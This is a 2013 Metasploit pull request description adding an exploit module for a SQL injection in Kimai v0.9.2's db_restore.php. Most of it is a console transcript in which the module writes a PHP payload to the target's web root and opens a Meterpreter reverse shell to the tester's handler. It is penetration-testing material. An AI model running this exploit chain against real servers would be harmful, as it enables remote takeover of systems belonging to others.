rapid7/metasploit-framework — pull request #2682 by bcoles (2013-11-23 16:57:25+00:00)
Title: Add Kimai v0.9.2 'db_restore.php' SQL Injection module

Homepage: http://www.kimai.org/en/
Source: http://sourceforge.net/projects/kimai/files/
Tested on Ubuntu Linux with:
* Kimai v0.9.2.beta
* Kimai v0.9.2.1294.beta
* Kimai v0.9.2.1306-3

```
msf > use exploit/unix/webapp/kimai_sqli
msf exploit(kimai_sqli) > set RHOST 192.168.124.230
RHOST => 192.168.124.230
msf exploit(kimai_sqli) > check

[*] 192.168.124.230:80 - Checking version...
[+] 192.168.124.230:80 - Found version: 0.9.2.1306
[*] The target service is running, but could not be validated.
msf exploit(kimai_sqli) > run

[*] Started reverse handler on 192.168.124.129:4444
[*] 192.168.124.230:80 - Retrieving file system path...
[!] 192.168.124.230:80 - Could not retrieve file system path. Assuming '/var/www/kimai/'
[*] 192.168.124.230:80 - Retrieving MySQL table name prefix...
[+] 192.168.124.230:80 - Found table name prefix: kimai_0921306
[*] 192.168.124.230:80 - Creating a backup to get a valid backup ID...
[+] 192.168.124.230:80 - Found backup ID: 1385224771
[*] 192.168.124.230:80 - Writing payload (1789 bytes) to '/var/www/kimai//temporary/T9agOIXZiZ.php'...
[+] 192.168.124.230:80 - Payload sent successfully
[*] 192.168.124.230:80 - Removing the backup...
[*] 192.168.124.230:80 - Retrieving file 'T9agOIXZiZ.php'...
[*] Sending stage (39195 bytes) to 192.168.124.230
[*] Meterpreter session 1 opened (192.168.124.129:4444 -> 192.168.124.230:45215) at 2013-11-23 11:39:32 -0500
[+] Deleted T9agOIXZiZ.php

meterpreter > getuid
Server username: www-data (33)
```